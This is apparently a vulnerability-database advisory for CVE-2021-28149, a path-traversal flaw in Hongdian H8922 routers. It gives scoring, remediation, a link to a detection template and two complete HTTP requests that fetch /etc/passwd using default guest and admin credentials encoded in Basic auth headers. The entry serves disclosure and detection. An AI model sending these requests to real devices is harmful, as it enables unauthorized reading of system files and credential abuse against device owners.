| Title | Hongdian H8922 3.0.5 Devices - Local File Inclusion |
|---|---|
| Author | gy741 |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability can result in unauthorized access to sensitive files, potentially leading to further compromise of the system. |
| Remediation | Apply the latest security patches or updates provided by the vendor to fix the LFI vulnerability in Hongdian H8922 3.0.5 Devices. |
| CVSS Score | 6.5 |
| EPSS Score | 0.90658 |
| CVE ID | CVE-2021-28149 |
| CWE ID | CWE-22 |
| Tags | cve2021 cve hongdian traversal vkev vuln |
Hongdian H8922 3.0.5 devices are vulnerable to local file inclusion. The /log_download.cgi log export handler does not validate user input and allows a remote attacker with minimal privileges to download any file from the device by substituting ../ (e.g., ../../etc/passwd) This can be carried out with a web browser by changing the file name accordingly. Upon visiting log_download.cgi?type=../../etc/passwd and logging in, the web server will allow a download of the contents of the /etc/passwd file.
GET /log_download.cgi?type=../../etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.8.1 Mobile/15E148 Safari/604.1
Connection: close
Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
Cache-Control: max-age=0
Accept-Encoding: gzip
GET /log_download.cgi?type=../../etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.5.20) Gecko/ Firefox/9.0
Connection: close
Authorization: Basic YWRtaW46YWRtaW4=
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-28149.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-28149.pcap
N/AN/A